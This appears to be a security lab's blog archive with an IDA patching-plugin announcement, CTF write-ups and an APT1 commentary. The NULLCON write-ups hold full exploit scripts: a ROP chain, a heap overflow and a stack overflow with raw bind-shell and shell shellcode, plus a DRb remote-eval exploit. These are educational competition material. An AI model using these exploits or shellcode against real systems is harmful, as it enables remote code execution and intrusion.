The Other Kind of Patch

IDAPython is an IDA plugin which allows Python scripts to access IDA’s API, IDC, and all the modules already in Python. Most importantly, IDAPython allows us to manipulate IDA’s disassembly programmatically without leaving the familiarity of Python.

During capture the flags and throughout the process of reverse engineering, simple, easy binary patching is desired. A common approach is to search through a file in a hex editor for a given set of bytes and modify them for the desired effect. This is very often guess work and can become unnecessarily complicated. OllyDbg allows you to assemble an instruction at a given address. Slightly better, but OllyDbg has only recently begun supporting x86_64. Reverse engineers shouldn’t be limited by the supported architectures of their tools.

We at the ISIS lab have written what we call Fentanyl. Fentanyl is ISIS’s IDA patching plugin. With it, patches can be applied to IDA’s disassembly straight from its console window, from keyboard shortcuts, or with an optional context menu. Basically, right click to patch. Save. Done.

Demonstrating some patching in Fentanyl

Using Fentanyl to patch out the CMU bomb lab’s explode_bomb function

Fentanyl exposes shortcuts for nopping out instructions, xrefs to a given address, inverting jumps, saving the binary, and assembling instructions. Since binary modification is often a tricky business, Fentanyl also allows a user to undo and redo modifications to the idb.

Assembling new instructions into a binary is easy with Fentanyl

Assembling new instructions into a binary is easy with Fentanyl

In addition to patching using the aforementioned methods, Fentanyl also exposes other functionality to automate tasks.

The first of which is “binary neutering.” This involves automatically patching out functions which make debugging binaries annoying. At the moment neutering removes calls to fork, alarm, setuid, setgid, getpwnam, setgroups, and chdir.

Demonstrating Fentanyl's binary neutering feature

Demonstrating Fentanyl’s binary neutering feature

A slightly less patching oriented feature, Fentanyl features a code cave finder. Code caves are sections of a binary which are executable in which we can add our own assembly without heavily disturbing the original assembly.

Spelunky makes it easy to find code caves in a binary

Spelunky makes it easy to find code caves in a binary

We’ve been making great use of Fentanyl and while it’s not a cure-all it’s been very helpful in certain scenarios. We’d love for you to submit feature requests and let us know what you think about Fentanyl!

Github: https://github.com/isislab/Fentanyl

Posted in Uncategorized | 1 Comment

Aski Olympic CTF 2014 writeup

Brooklynt Overflow recently participated in Olympic CTF finishing in 29th place. This is a write up of the aski challenge.

The aski program is a large stripped statically compiled 32 bit elf binary that opens a window and plays a video of a skier performing a trial as a series of ASCII symbols.

I suspected that the key was embedded in one of the frames because each frame goes by so quickly. The first thing I did was try grepping for the key, but no luck. I did however find many references to the INFLATE and DEFLATE algorithms (part of zlib), ssl and what I suspect to be AAlib although I didn’t find a copyright string. So, best case scenario there is some compressed ASCII that contains the flag, worst case scenario there is encrypted compressed AA formatted data that gets drawn to the screen. Great, I changed my strategy and looked for the routines responsible for drawing the frames to the window.

I discovered that the function at 0x804AB00 is responsible for opening the window and that the content of the video is played by the function at 0x804ABB0 both of which are called from main. The function 0x804ABB0 accepts two function pointers and a pointer to some data. I discovered that the pointer to data had the magic number for zlib compressed data. I dumped that memory and decompressed it again grepping for the flag but came up dry.

The second function pointer argument on the other hand was interesting. I discovered that by setting a breakpoint on the end of the longest code path I could single step through frames of the video.

Analyzing the video frame by frame I noticed that in the lower left the characters of the key were appearing every several frames. Below is the compilation of important frames.

The key is CTF+WINT3R+S3A50N

You can find the .gdbinit file with the breakpoints and the binary in the ISIS CTF-Solutuions repo on Github.

Posted in Uncategorized | Leave a comment

Make Similiar Olympic CTF 2014 writeup

For 400 points, Olympic CTF provided the Make Similar challenge. The description was “Listen carefully and try to figure out. Hint: 120 LPM.”

The link pointed to a stream for an ogg file which played unintelligible beeps and static. The stream has been backed up with the challenge relevant data here.

First the key is to identify what the audio is. The hint makes it obvious that the data is some sort of fax. Going on this assumption, I found SeaTTY which would take the audio and convert it back into a weatherfax. Apparently meteorologists used to make use of this kind of software to transfer monochrome images. Sounds like the original Snapchat.

SeaTTY will take the playing audio and convert it back into a weather fax. I couldn’t get it to accept a file and translate that so I ended up using Stereo Mix on my computer to play the sounds into a VM running SeaTTY.

About 20 or so minutes later we take our decoded weather fax which looks something like this

weather fax

Weather fax decoded from Olympic CTF’s Make Similar Challenge

The images should repeat given enough time but at this point I was intrigued by the encoded text. Out of instinct I assumed the text was uuencoded but it is in fact xxencoded.

xxencoded text

xxencoded text in the weather fax

Tesseract’s output was close but overall had too many mistakes to be worthwhile. I ended up transcribing all of it by hand which led to a few mistakes. Because my text had some flaws and I was uudecoding it, I recieved completely incorrect files.

At this point I shared out my files and my teammate Brett Giller noticed my mistakes and solved the challenge by fixing my slightly incorrect text (2 letter case mistakes), properly xxdecoding it, and opening the gzip file that was contained.

Inside the gzip we found a python file with the key:

CTF{4BDF4498E4922B88642D4915C528DA8F}

The correctly transcribed text:

section 1 of 1 of file rfax_man
begin 644 rfax_man
h5sg60BSxwp62+57aMLVTPK3i9b-t+5pGLKyPA-FxxuysvFs+BT8+o0dVsM24
hcZHRaWYEHRBGFGtqk-cMV7oqqQRzbobGRB9Kwc-pTHzCDSSMJorR8d-pxdqd
hLWpvQWRv-N33mFwEicqz+UFkDYsbDvrfOC7tko5g1JrrSX0swhn64neLsohr
h26K1mSxnS+TF1Cta8GHHQ-t1Cfp7nh-oZeFuVi5MEynqyzX8kMtXcAynSLQx
hg4o56Pu4YUZHMqDGtczKeCwXU8PZEc4lY0FbDfFfgZpJFC-a-sHGLtGJgCMZ
hksr6XNTedEUdVJqxOO5VaReoH68eEPJ2m6d9mKhlhVE7zw4Yru4DUWRCJH28
hyeth+l2I0gPnEfrTLwAc+-TPS0YKYY3K0np58gVPgdAN8RY7+rQfRDin9JSa
hPG32WG7-rTl3uthvrnDO-wD09GDIRCniuoefs8UsfiWZOLq+0awOrQxAPM+C
hxLwOJ9VUKwdn7dJduLn1KhBucvL1pr5lGiBFfUbL79cFFex+G27kT+fsQ7X5
h87mgPivWhDSQHKPXqpKGniDkYsIYpg66ZWbHp4PfcgtPukElDWENlQPSuNAQ
hnboE4Bd8kyyokt67GgfGvBVS45sMFPtlgKRlG-QPFSgbMHujA3qYemxnuqGx
hp97aXpdKpvAE8zx-oUzazoVFz32X3OxAuiWJhKEjaYKpM7f95yv1S62v+k++
+
end
sum —r/size 7468/769 section (from "begin" to "end")
sum —r/size 36513/540 entire input file
Posted in Uncategorized | Leave a comment

NULLCON CTF Vuln4 – Stack Buffer Overflow

Brooklynt Overflow Recently Competed in HackIM CTF. This is a writeup of the vuln4 service. The author was kind enough to provide source to this challenge which is nice but ultimately not necessary or terribly helpful.


#include
#include
#include
#include
#include <sys/types.h>
#include <sys/stat.h>
#include

#define STACK 64
#define HEAP 64
#define FLAG "./flag"

/* gcc -masm=intel -z norelro -fno-stack-protector -o chall_heap chall_heap.c */

const char *malloc_error = "Memory allocation failed!\n";
const char *file_error = "Opening flag failed!\n";
const char *pwn = "Good Enough? Pwn Me!\n";

void main(int argc, char **argv) {
    char *flag;
    int fd;
    char user[STACK];
    flag = malloc(HEAP);

    if (flag == NULL) {
	write(1, malloc_error, strlen(malloc_error));
	exit(1);
    }

    fd = open(FLAG ,O_RDONLY);
    if (fd < 0){
        write(1, file_error, strlen(file_error));
	exit(1);
    }

    if(setresuid(getuid(), getuid(), getuid()) < 0){
	exit(1);
    }

    read(fd, flag, HEAP-1);
    close(fd);

    write(1, pwn, strlen(pwn));

    read(0, user, 0x800);

   asm (".intel_syntax noprefix;"
   "xor ebx, ebx;"
   "xor ecx, ecx;"
   "xor esi, esi;"
   "xor edi, edi;"
       );

}

Vuln4 is a service that reads data from the user into a stack based buffer which is much too small. The goal is to read the contents of the flag file out of memory. This is made difficult because the author of this program zeros out the registers before returning and the way the stack is organized by the compiler.

Stack_layoyt

flag_fd and flag_heap_buffer will be trashed by our exploit.

At the time we are able to gain control of execution we have no immediate reference to where the heap buffer containing the flag is located. This is not an impossible barrier to overcome. We know that if we can create another allocation of reasonable size with malloc it will be allocated shortly after the block with the flag inside of it. We can then do some pointer arithmetic to locate the flag.

For this challenge, NX and ASLR have been enabled, we cannot return to the stack to execute arbitrary code. Because we have immediate control of the stack and a large stack space to work with we can employ vanilla return oriented programming techniques to perform the computations we need and to write the flag back to ourselves.

Gadget collection

I compiled a list of ROP gadgets from the program and began meditating on which gadgets to use.
I decided on the following:

0x080486f7# mov dword [esp+0x04], eax ; call dword [ebx+esi*4-0x000000E0]
0x0804874e# add eax, dword [ebx-0x0B8A0008] ; add esp, 0x04 ; pop ebx ; pop ebp
0x080486a7# pop esi ; pop edi ; pop ebp
0x080483a0# pop ebx
0x080484df# pop pop pop ret or equiv
0x0804870f# pop ret or equiv
0x080483f0# malloc@.PLT
0x08048440# write@.PLT

In addition to the previous code snippets I also identified a few valuable data elements:

0x080499e4# write@.GOT
0x080498d8# writable memory
0x08048386# -4 as dword

Return Oriented Program Sequence

  • Trigger a call to write@.PLT. This shouldn’t be necessary but I want to make triple sure the GOT entry for write is populated before we need it.
  • Trigger a call to malloc. The contents of the allocation are important but we can use the return value to find the address of the heap block with the contents of flag.
  • Set the ebx register with the pop ebx gadget. When we execute the gadget add eax, dword [ebx-0x0B8A0008] ; add esp, 0x04 ; pop ebx ; pop ebp we want ebx to be pointing at -4, therefore we set ebx to be the address of -4 + 0x0B8A0008 ahead of time and also each time the gadget executes because it contains a pop ebx.
  • Execute a series of add eax, dword [ebx-0x0B8A0008] ; add esp, 0x04 ; pop ebx ; pop ebp gadgets. These will get eax pointing to the desired allocation in the heap. I determined in my debugger that subtracting 72 from eax would yield the address of the first block, therefore we execute this gadget 18 times.
  • During the last execution of this gadget prepare for the next operation by setting ebx to be the address of write@.GOT +0xe0. The addition of the small constant 0xe0 is to compensate for the next gadget: mov dword [esp+0x04], eax ; call dword [ebx+esi*4-0x000000E0]. This gadget brings everything together. mov dword [esp+0x04], eax writes the appropriate pointer argument onto the stack to prepare for the call to write. We make sure that esi is zero and ebx is the address of write@.GOT +0xe0. when the dereference is made we pull a pointer to write in libc.so and call it.
  • The program crashes after returning from the call and we collect our flag.

Exploit code

#Evan Jensen (wont)
#Stack buffer overflow exploit w/ ROP for vuln4 HackIM CTF

from isis import *
import re

malloc_plt= 0x80483f0
write_plt = 0x8048440
write_got = 0x80499e4
hlt       = 0x8048753 #hlt ret
pppr      = 0x80484df #pop pop pop ret or equiv
pr        = 0x804870f #pop ret or equiv
space     = 0x80498d8 #writable memory

pop_ebx=0x080483a0#: pop ebx

write_stack_call=0x080486f7# mov dword [esp+0x04], eax ; call dword [ebx+esi*4-0x000000E0]

add_eaxpppr=0x0804874e# add eax, dword [ebx-0x0B8A0008] ; add esp, 0x04 ; pop ebx ; pop ebp

pop_esi=0x080486a7# pop esi ; pop edi ; pop ebp

ptr_neg4=0x08048382+4
# (gdb) x /d 0x08048382+4
# 0x8048528 <main+20>:-4

#lei is a wrapper for pack in isis.py
leak_malloc=lei(write_plt,pppr,1,space,1,#make sure the got for write gets filled in
                malloc_plt,pr,8,#eax has pointer to heap
                #we really want a way to subtract some from eax
                pop_ebx,ptr_neg4+0x0B8A0008, #large constant subtracted in next gadget
                add_eaxpppr,0,ptr_neg4+0x0B8A0008 ,0,
                add_eaxpppr,0,ptr_neg4+0x0B8A0008 ,0,
                add_eaxpppr,0,ptr_neg4+0x0B8A0008 ,0,
                add_eaxpppr,0,ptr_neg4+0x0B8A0008 ,0,
                add_eaxpppr,0,ptr_neg4+0x0B8A0008 ,0,
                add_eaxpppr,0,ptr_neg4+0x0B8A0008 ,0,
                add_eaxpppr,0,ptr_neg4+0x0B8A0008 ,0,
                add_eaxpppr,0,ptr_neg4+0x0B8A0008 ,0,
                add_eaxpppr,0,ptr_neg4+0x0B8A0008 ,0,
                add_eaxpppr,0,ptr_neg4+0x0B8A0008 ,0,
                add_eaxpppr,0,ptr_neg4+0x0B8A0008 ,0,
                add_eaxpppr,0,ptr_neg4+0x0B8A0008 ,0,
                add_eaxpppr,0,ptr_neg4+0x0B8A0008 ,0,
                add_eaxpppr,0,ptr_neg4+0x0B8A0008 ,0,
                add_eaxpppr,0,ptr_neg4+0x0B8A0008 ,0,
                add_eaxpppr,0,ptr_neg4+0x0B8A0008 ,0,
                add_eaxpppr,0,ptr_neg4+0x0B8A0008 ,0,

                add_eaxpppr,0,write_got+0xe0 ,0, #eax -= 72; ebx=write_got+e0

                #eax is now a suitable ptr for reading from
                #write_plt is now in ebx adjusted for upcomming call
                pop_esi,0,0,0,# pop esi ; pop edi ; pop ebp
                write_stack_call,1,0,316,
                hlt)

filler='\0'*(0x54+8*2)

s=get_socket(('localhost',2323)) #from isis.py
#s=get_socket(('23.23.190.205',8976))
#s.settimeout(100)
raw_input('hit enter to exploit')
s.recv(0x1000)
time.sleep(1)
s.send(filler+leak_malloc)
time.sleep(1)

#print re.findall('[0-9a-fA-F]{32}',s.recv(0x1000))
print s.recv(0x1000)

You can find this exploit and many others in the CTF-Solutions repo on github.

Posted in Bugs, Code Auditing, CTF, Exploitation Mitigation Techniques, Exploitation Techniques, Static Analysis, Uncategorized, Vulnerabilities | Leave a comment

NULLCON CTF Vuln3 – Heap Buffer Overflow

Brooklynt Overflow Recently Competed in HackIM CTF. This is a writeup of the vuln3 service.
Vuln3 is a service exposed to the Internet via xinetd or something similar. It accepts input from you writes it to the stack, parses it and performs actions based on it. It does this until you disconnect. The important parts of user input are dwords at offset 0×28 and 0×50. The dword at offset 0×28 tell the service what operation to perform. The dword at offset 0×50 is used only when you ask the service to allocate some memory for you, it is then used as the argument to malloc.

.text:08048583 lea eax, [esp+230h+safe_stack_buffer_512]
.text:08048587 mov eax, [eax+50h]
.text:0804858A mov [esp+230h+my_size_50], eax
.text:08048591 lea eax, [esp+230h+safe_stack_buffer_512]
.text:08048595 mov eax, [eax+28h]
.text:08048598 mov [esp+230h+my_verb_28], eax
use_of_my_verb

Cross-referencing the command variable.

The service supports four functions that you can control. Before you can control any of the application’s state an allocation of size 0×100 bytes is made with malloc.

Functions

Allocate a block of size 8 and put two function pointers inside it. The first function pointer points to a function that calls puts("Hello world") The section is a pointer to a function that calls puts("Bye bye World").

Allocate_fnpts

The block we’re going to corrupt.

Allocate a block of a size specified by the dword at offset 50. Call fgets to populate it. Create a block of arbitrary size who’s contents we control.

Malloc_my_block

The block we control.

Call function pointers and free blocks. Check to make sure that we have allocated the block of size 8 with function pointers inside. If we have, call the function pointers and free the block. Also check to see if we have allocated a block with an arbitrary size and free that too.

Call_fnpts_and_free

Where we’re going to hijack control.

Copy the contents as a string from the block of arbitrary size to the block of fixed size that was allocated at the beginning of the program. This will cause a buffer overflow on the heap if the block that we allocate is larger than size 0×100 and doesn’t contain any null bytes.

Heap_block_copy

The vulnerability.

The vulnerability here is a heap buffer overflow. What we need to do is manipulate the heap state such that the block of size 8 immediately follows the block allocated in the beginning of the program. Then we can allocate a large block to overflow the block with a static size. That overflow will corrupt the function pointers. We can then ask the application to call the function pointers thereby escaping intended control flow.

Choosing a suitable trampoline

Astute hackers will note that we do not control the stack however stack layout is predictable. Right before the function is called the value on the top of the stack is a pointer to a buffer that we control.  The pointer is pointing at the stack buffer and because the organizers are nice folks, the stack and heap are executable. That means we have 0×28 bytes to work with for writing shellcode. That’s nice but I was having trouble opening a shell during the competition so I opted for more space. I wrote a small trampoline that punts execution to the heap block that we have arbitrary control over.

RWE

Program header analysis.

The flow of exploitation

  • Allocate the small block. It will be allocated directly after the block of size 0×100
  • Allocate a large block with pointers to pop; ret to overwrite the function pointers in the small block.
  • Copy the large block into the block of size 0×100. If it is large enough it will corrupt the small block.
  • Next we create another large block that will contain our shellcode. Now we have no shellcode length constraints.
  • Issue the command to call the pointers and free the block, naturally divert control before the free. Before the padding to the command dword, put the trampoline (call [esp+0x228]) At the time of the call, [esp+0x228] is the pointer to our heap block.
  • You’re now executing arbitrary code from the heap.
ptr_overwrite_ctrl_flow

The sequence of code that will execute when we hijack control.

#Evan Jensen (wont)
#Heap buffer overflow for vuln3 HackIM CTF

from isis import *
import sys

shell_emulator=( "\x31\xc0\x99\x66\xba\xff\x01\x89\xe1\x31"
                 "\xdb\x6a\x03\x58\xcd\x80\x89\xc5\x85\xc0"
                 "\x74\x52\xc6\x44\x04\xff\x00\x6a\x02\x58"
                 "\xcd\x80\x85\xc0\x74\x0d\x31\xdb\x31\xc9"
                 "\x31\xd2\x6a\x07\x58\xcd\x80\xeb\xcf\xfc"
                 "\x89\xe9\x6a\x20\x58\x89\xe3\x99\x81\xec"
                 "\xff\x01\x00\x00\x89\xee\x29\xce\x8d\x3c"
                 "\x33\x89\x3c\x94\x42\xf2\xae\x89\xee\x29"
                 "\xce\xc6\x44\x33\xff\x00\x85\xc9\x74\x02"
                 "\xeb\xe4\x91\x89\x04\x94\x99\xb0\x0b\x8d"
                 "\x0c\x24\xcd\x80\x31\xdb\x6a\x01\x58\xcd"
                 "\x80"
                 ) #from shellcode repo

get_flag=( "\xeb\x29\x5b\x31\xc9\xb1\x04\x6a\x05\x58\xcd\x80\x93\x89\xe1"
           "\x31\xd2\x66\xba\xff\x01\x6a\x03\x58\xcd\x80\x31\xdb\x43\x89"
           "\xe1\x31\xd2\x66\xba\xff\x01\x6a\x04\x58\xcd\x80\xf4\xe8\xd2"
           "\xff\xff\xff\x66\x6c\x61\x67\x2e\x74\x78\x74\x00"
           ) #open, read, write flag.txt

def pad_msg(msg):
    msg_len=510
    #msg+='\xcc'*(msg_len-len(msg))
    return msg+'\n'

def allocate_ptr_obj(s):
    alloc_verb=pack("I",0x64)
    msg='A'*0x28+alloc_verb
    msg=pad_msg(msg)
    s.send(msg)

def call_and_free(s):
    heap_trampoline="\xff\x94\x24\x28\x02\x00\x00" #call [esp+0x228]
    shellcode=heap_trampoline

    free_verb=pack("I",0x32)
    msg=shellcode+'A'*(0x28-len(shellcode))+free_verb
    msg=pad_msg(msg)
    s.send(msg)

def allocate_my_block(s,contents):
    alloc_verb=pack("I",0xc8)
    msg='A'*0x28+alloc_verb+'A'*0x24+pack("I",len(contents)+2)
    msg=pad_msg(msg)
    s.send(msg)
    #program calls fgets, waits for us to fill block
    time.sleep(.5)
    s.send(contents)

def copy_my_block(s):
    copy_verb=pack("I",0x12c)
    msg='A'*0x28+copy_verb
    msg=pad_msg(msg)
    s.send(msg)

def crash(s):
    SLEEP_TIME=1
    pop_ret=0x0804879f

    allocate_ptr_obj(s)
    print 'allocated ptrs'
    time.sleep(SLEEP_TIME)

    allocate_my_block(s,pack("I",pop_ret)*0x100)
    print 'allocated large block'
    time.sleep(SLEEP_TIME)

    copy_my_block(s)
    print 'smashed ptr block'
    time.sleep(SLEEP_TIME)

    shellcode=shell_emulator
    allocate_my_block(s,shellcode)
    print 'allocated shellcode'
    time.sleep(SLEEP_TIME)

    call_and_free(s)
    print 'called smashed ptrs'
    time.sleep(SLEEP_TIME)

    return s

if __name__=="__main__":
    s=get_socket(('localhost',2323)) #from isis.py
    #s=get_socket(('23.23.190.205',8888))
    raw_input("hit enter to exploit") #for debugging
    crash(s)
    print 'Enjoy your shell'
    telnet_shell(s) #from isis.py

You can find this exploit and many others in the CTF-Solutions repo on github.

Posted in Bugs, Code Auditing, CTF, Static Analysis, Vulnerabilities | Leave a comment

NullCon Vuln 2 Stack Based Buffer Overflow

Exploitation 200 HackIM

Triage

This challenge gave us a binary called srv2. Running file on the binary we are shown

File analysis

File analysis.

CheckSec  revealed there was no NX but we assumed ASLR was enabled on the challenge server. From there we started the binary up and connect to it on localhost port 6776. I am greeted with a screen asking for input and putting in arbitrary values yields the output “invalid”.

File Response

File Response

Next I start-up my favorite disassembler, Hopper, and take a look to see what is causing this “invalid”. Checking strings we are able to see where “invalid” is cross referenced and are able to trace back into the main function.

Disassembly of comparison

Disassembly of Main Function.

As can be seen above there is a call to strchr and a compare of the returned value. A quick man search shows the strchr  function returns a pointer to the first occurrence of the character ‘c’ in the string ‘s’. Knowing this I wired a brute forcer to brute force printable characters and check output to see when information was recorded. The brute force code is shown below.

def gen_passwords(lst = None):
'''
USE: for i in gen_passwords(): Generates a brute force
list of all chars between decimal 30
and 123 also can take a pre made list
'''
if lst == None:
    lst = []
    for i in range (30, 123):
        lst.append(chr(i))

    for i in range(10):
        for K in itertools.product(lst, repeat=i):
            yield "".join(K)

The result of this showed that appending \\: to the front of a string allowed the information to be properly recorded. After the CTF static analysis of the main function revealed 0x3a, “:”, is easily seen in the disassembled function and no brute forcing was necessary.  Next was to see where the potential vulnerable area was.

Recon

Buffer Overflow

Buffer Overflow.

As can be seen there is an unbounded strcpy leading to a vanilla buffer overflow. The only thing left was to prepare the exploit. We calculated the size needed to overflow the return address to be 277.  If we analyze the stack after returning to an invalid address we can see esp is pointing to data we control.

Overloaded Stack

Corrupted Stack.

Exploitation

Doing a quick look through with object dump reveals a wonderful instruction called “jmp esp”

Jmp Esp

Trampoline.

Since before we are able to control the value at ESP, we can simply put the address of this gadget as our return address and direct execution to shellcode on the stack. A gadget like this is known as a trampoline and is further explained in Bypassing Memory Protections: The Future of Exploitation. This allows us to bypass ASLR by not needing to know where in memory our shell code is but simply use a relative jump to a known register. Below is the final code for this exploit using a connect back shell code binding to port 4444.

from isis import *
from struct import pack

bind_4444 =(  "\xeb\x12\x5b\x31\xc9\xb1\x75\x8a\x03\x34"
"\x1e\x88\x03\x43\x66\x49\x75\xf5\xeb\x05"
"\xe8\xe9\xff\xff\xff\x74\x78\x46\x74\x1f"
"\x45\x2f\xd7\x4f\x74\x1f\x74\x1c\x97\xff"
"\xd3\x9e\x97\xd8\x2f\xcc\x4c\x78\x76\x0f"
"\x42\x78\x76\x1c\x1e\x97\xff\x74\x0e\x4f"
"\x4e\x97\xff\xad\x1c\x74\x78\x46\xd3\x9e"
"\xae\x78\xad\x1a\xd3\x9e\x4c\x48\x97\xff"
"\x5d\x74\x78\x46\xd3\x9e\x97\xdd\x74\x1c"
"\x47\x74\x21\x46\xd3\x9e\xfc\xe7\x74\x21"
"\x46\xd3\x9e\x2f\xcc\x4c\x76\x70\x31\x6d"
"\x76\x76\x31\x31\x7c\x77\x97\xfd\x4c\x78"
"\x76\x33\x77\x97\xff\x4c\x4f\x4d\x97\xff"
"\x74\x15\x46\xd3\x9e\x74\x1f\x46\x2f\xc5"
"\xd3\xe9")

# BYPASS INITIAL CHECK
load = "\"\":"
# OVERFLOW BUFFER
load = "\"\":"
load += ("A" *20 + "B" * 20 + "C" * 20 +
"D" * 20 + "E" * 20 + "F" * 20 +
"G" * 20 + "AAAABBBBCCCCDDDDFFFFEEEEGGGGHHHHJJJJ" +
"0000111122223333444455556666777788889999" +
"AAAABBBB")

#OVERWRITE RETURN ADDRESS
jmp_esp=0x08048817 #: jmp esp
load += pack("I", jmp_esp)

#NOP SLED BEHIND RETURN ADDRESS
load += pack("I", 0x90909090) * 200
shellcode = bind_4444
load += shellcode

#ORIGINAL CHALLENGE LOCATION
#s = get_socket(('23.23.190.205', 6776))
s = get_socket(('LOCALHOST', 6776))

s.send(load + "\n")

Posted in Bugs, CTF, Exploitation Techniques, Static Analysis, Vulnerabilities | Leave a comment

NULLCON CTF Vuln1 – DRb

This challenge was relatively straightforward, especially given the fact that we have access to the source.

require 'drb/drb'

class TimeServer
  def initialize
    @flag = "FLAG"
  end

  def get_current_time
    Time.now
  end
end

$SAFE = 1

DRb.start_service("druby://0.0.0.0:8988", TimeServer.new)
DRb.thread.join

So as it turns out, dRuby (drb) is a “Distributed object system for ruby”, which allows ruby objects to evoke methods in other processes or even across a network connection. Their way of protecting this from abuse is to set $SAFE = 1 (ruby safety levels to 1), which is meant to disable eval and friends for tainted input, but this apparently does not work as I simply use a variant of eval anyway. Also as it turns out we can simply get the flag by forcing an error on the other end. Chances are the new object being created does not count as a tainted object some how.

Exploit:

require 'drb'
DRb.start_service
obj = DRbObject.new(nil, 'druby://23.23.190.205:8988')
obj.instance_eval("junk")

The exploit simply starts up a client drb service, and then tries to eval “junk” under the context of obj.
A proper exploit of this would be to use obj.instance_eval(“exec ‘cat server.rb’”), but forcing an error on the server will work too.

$ ruby vuln100.rb
vuln100.rb:4:in `instance_eval': undefined method `server' for # (NoMethodError)
        from (druby://23.23.190.205:8988) /usr/lib/ruby/1.9.1/drb/drb.rb:1508:in `perform'
        from (druby://23.23.190.205:8988) /usr/lib/ruby/1.9.1/drb/drb.rb:1586:in `block (2 levels) in main_loop'
        from (druby://23.23.190.205:8988) /usr/lib/ruby/1.9.1/drb/drb.rb:1582:in `loop'
        from (druby://23.23.190.205:8988) /usr/lib/ruby/1.9.1/drb/drb.rb:1582:in `block in main_loop'
        from (eval):1:in `'
        from vuln100.rb:4:in `instance_eval'
        from vuln100.rb:4:in `'

References :

Posted in Uncategorized | Leave a comment

CSAW CTF Finals 2013 VMs

A few weeks ago the CSAW CTF Finals were held at NYU-Poly with 15 finalist teams competing.

We’re releasing most of the CSAW CTF Finals challenges in VMs for those who were not competing to download and try on their own.

CSAW Finals VM - MD5: d13e29da1b3d59a5407fd9dc6e956e4f

Brad Oberberg VM - MD5: d1aeeb12592b31896f3ea663c3c144b6

Mirror: http://captf.com/2013/csaw-finals/

Posted in Uncategorized | Leave a comment

APT1 Afterthoughts

After reading through the Mandiant APT1 report detailing the presence of the Advanced Persistent Threat group 1 (APT1) which has been attacking a devastating number of companies and governments around the world a variety of questions come to mind.  Considering the amount of time that has passed since Mandiant published the APT1 report in February one cannot help but wonder what the current status of APT1 is.  As a quick overview for those who didn’t finish the report, Mandiant leaves us with two very profound statements regarding the composition of the APT1 group.

MandiantConclusions

Mandiant’s Proposed Conclusions

I’m definitely not one to make this distinction, and as such I will not be staging an argument one way or another here.  However, I was left curious regarding the status of the group after so much time has gone by and further why some in the security industry reacted in such a poor manner towards the report being published.

APT1 – 3 Months Later

To begin discovering the current status of the APT1 group, one need do nothing more than some basic research concerning the topic.  Currently there are a multitude of articles claiming that the APT1 group is back in action; which shouldn’t come as a surprise to anyone considering Mandiant’s CSO discussed APT1 resurfacing within a month of the report being published.

Essentially, any group operating for as long and as covertly as APT1 had been only to suddenly be exposed to the world as having their hands in the metaphorical cookie jar would scatter immediately.  However, once the dust had settled, and it became apparent to APT1 that many of the previously vulnerable companies were still indeed open and susceptible to attack, why would they have stopped?  It would be in their favor to simply modify their code to change the hashed signatures, register some new domain names to redirect to their C2 servers, and resume business as usual.

Regardless of their identity it’s painfully obvious that there’s massive profits in what they’re doing, albeit not necessarily monetary.

The Response of our Community

What I found most intriguing regarding the entirety of Mandiant releasing this report is not necessarily the content, but more the security communities response to its release.  Initially, upon finishing the report, it would seem that what Mandiant has done is give a leg up to information security companies everywhere in the defenses against APT1.  Yet, for some reason, many feel that Mandiant had various, potentially misplaced, motivations for publishing the paper, e.g. marketing or that the research done might have been shoddy and inaccurate.

Regardless of one’s stance on these claims, I feel them all to be largely unfocused.  This report was very well put together as it is comprised of roughly 55 pages of nothing but data and evidence regarding APT1′s movements, followed by 2 pages offering 2 powerful possibilities. The entirety of cyber security professionals should all at least agree that the APT1 group poses a substantial threat to not just the United States, but the entire online world as Mandiant’s map below also suggests.

MandiantMap

Entities affected by APT1

Mandiant publishing this information detailing the specifics of how this group moved and what their motivations were should truly be the takeaway of the report, as opposed to any assumptions about what Mandiant might have been implying.  Furthermore, Mandiant wasn’t the only entity which suggested APT1′s Chinese origins as the APT1 malware samples are were available online for one to perform one’s own forensic analysis. (As of October these malware samples seem difficult to get ahold of)

Concluding Thoughts

In short, the true question likely being explored by Mandiant among other companies at this moment isn’t regarding whether or not APT1 is back, but to what extent are they back.  It seems clear that APT1 has done relatively little to cover their tracks in this second go around of attacks, and even in the first, but is this simply a guise to draw attention away from other, potentially more devastating, APT1 actions.

It is because of these higher tier threats that I find myself excited to be where I am today.  Having just been accepted to NYU-Poly’s Masters of Cyber Security program, and managed my way into Brooklynt Overflow, it is these types of threats that I am eager to tackle going into the future.

Regardless of the Chinese government’s involvement in these types of groups, it remains clear that the United States possess an array of companies and federal entities ready to combat these types of threats online, and it is because of this I feel that continued openness of research regarding malicious entities to be admirable and something we should all strive for.

Posted in Uncategorized | Tagged , | Leave a comment

CraSH

July 5-7 Brooklynt Overflow participated in SIGINT CTF hosted by the good folks over at CCCAC in Germany. Despite the fact that Brooklynt Overflow is not always the most effective team during the summer owing to inability to gather in the same place and the fact this competition was over a holiday weekend (Go team USA!) we didn’t fare terribly, finishing #21 on the scoreboard. This is a write up of one of the pwning challenges, crash.

A crash won't help you here. Escape this feature-rich shell by
whacking it with a reliable exploit.

The program they give you is called crash. Crash is a shell that exposes some very basic functionality.

demo

Commands: help, dec, cat, echo and quit

The shell doesn’t appear to support the creation or editing of files. Pipes are left unimplemented and other programs, like text editors, cannot be executed. None the less I decided to go with my gut and investigate the cat command. One of the first few files I tried to cat was the shell program itself. The resulting crash appeared to be not immediately exploitable but I figured I was on the right track and created my own binary file to read.

python -c "print ''.join(map(chr,range(0x100))*0x1000)">binary

cating this binary file did not result in a crash so tried catting some other files. I found when I cated executable files like /bin/bash and libc.so the program would crash and when I would cat random binary files of my own making the program would not crash. Eventually the root cause of the crashes became apparent. An uncontrolled format string vulnerability. I tested this hypothesis with a file containing a format string.

python -c "print '%08x.'*0x80" >fmtstr

And when I catted fmtstr:

memory

Memory disclosure from the stack

This confirmed my suspicion of an uncontrolled format string vulnerability. However this vulnerability doesn’t do us very much good if it is only in the cat command because I don’t have the facility to place files on the remote server. Lets check to see if it is in echo!

echo_vuln

Raw memory being printed from the stack

It appears that the echo command also has the same vulnerability. This is much better for us because now we don’t need to finagle a file onto a server through this shell program.

Format strings as I’m sure the reader is aware are great bugs for not only reading memory but also for writing memory. What I would like to do now change this uncontrolled format string vulnerability from an info leak from the stack into a write anything anywhere exploitation primitive. In order to do that I need to be able to place a value on the stack to be used as a pointer. I discovered this was possible through the dec command.

arb_ptr

Accessing a chosen value from the stack.

If we issue the dec command before the echo command the argument to dec appears on the stack. This is perfect. we can use this value as a pointer to read arbitrary memory with the %s format specifier or we can use the %n specifier to write to that pointer instead. We now have the ability to read and write memory from any memory region that is marked R/W respectively.

